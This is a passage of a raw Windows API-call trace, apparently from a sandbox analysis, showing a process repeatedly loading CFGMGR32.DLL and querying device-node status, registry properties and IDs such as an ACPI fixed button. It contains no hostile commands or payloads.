[0197.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.924] malloc (_Size=0x18) returned 0x196ef0d1be0 [0197.924] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2e, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0197.925] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0197.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x56d31c10, dwHighDateTime=0x1d9eb0c)) [0197.925] SetEvent (hEvent=0x248) returned 1 [0197.929] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.929] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.933] malloc (_Size=0x18) returned 0x196ef0d1c40 [0197.933] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2e, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0197.933] malloc (_Size=0x48) returned 0x196ef0fb270 [0197.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x56d57769, dwHighDateTime=0x1d9eb0c)) [0197.933] SetEvent (hEvent=0x248) returned 1 [0197.937] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.937] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.940] malloc (_Size=0x18) returned 0x196ef0d19c0 [0197.940] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0197.941] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0197.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56d57769, dwHighDateTime=0x1d9eb0c)) [0197.941] SetEvent (hEvent=0x248) returned 1 [0197.946] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.946] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.946] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.946] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.946] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.949] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0197.949] CM_Get_Device_IDA (in: dnDevInst=0x2f, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\FIXEDBUTTON\\2&DABA3FF&0") returned 0x0 [0197.949] malloc (_Size=0x48) returned 0x196ef0fbd10 [0197.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x56d7d902, dwHighDateTime=0x1d9eb0c)) [0197.950] SetEvent (hEvent=0x248) returned 1 [0197.954] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.954] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.954] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.954] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.954] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.957] malloc (_Size=0x18) returned 0x196ef0d20c0 [0197.958] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0197.958] malloc (_Size=0x3e) returned 0x196ef0fb720 [0197.958] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0fb720, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fb720, pulLength=0x67117d608) returned 0x0 [0197.959] free (_Block=0x196ef0fb720) [0197.959] malloc (_Size=0x48) returned 0x196ef0fbd10 [0197.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x56d7d902, dwHighDateTime=0x1d9eb0c)) [0197.959] SetEvent (hEvent=0x248) returned 1 [0197.962] malloc (_Size=0x18) returned 0x196ef0d1b20 [0197.962] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0197.962] free (_Block=0x196ef0d1b20) [0197.962] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0197.962] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0197.962] free (_Block=0x196ef0d1fe0) [0197.963] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856360 [0197.963] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0197.963] SafeArrayGetLBound (in: psa=0x196ee7bf6a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0197.963] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0197.963] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b5f90 [0197.963] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0197.963] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0197.963] SafeArrayGetElemsize (psa=0x196ee7bf6a0) returned 0x8 [0197.963] SafeArrayGetElement (in: psa=0x196ee7bf6a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0197.964] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e7d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0197.964] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e7d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0197.965] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b5f90) returned 1 [0197.965] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856360) returned 1 [0197.966] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.966] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.969] malloc (_Size=0x18) returned 0x196ef0d2000 [0197.970] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0197.970] malloc (_Size=0x48) returned 0x196ef0fbb80 [0197.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x56da3be2, dwHighDateTime=0x1d9eb0c)) [0197.970] SetEvent (hEvent=0x248) returned 1 [0198.325] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.325] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.329] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0198.329] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0198.333] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0198.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x57111163, dwHighDateTime=0x1d9eb0c)) [0198.333] SetEvent (hEvent=0x248) returned 1 [0198.337] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.337] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.338] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.339] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.339] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.339] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.339] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.339] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.339] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.341] malloc (_Size=0x18) returned 0x196ef0d1d60 [0198.341] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0198.341] malloc (_Size=0x48) returned 0x196ef0fb680 [0198.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5713747b, dwHighDateTime=0x1d9eb0c)) [0198.341] SetEvent (hEvent=0x248) 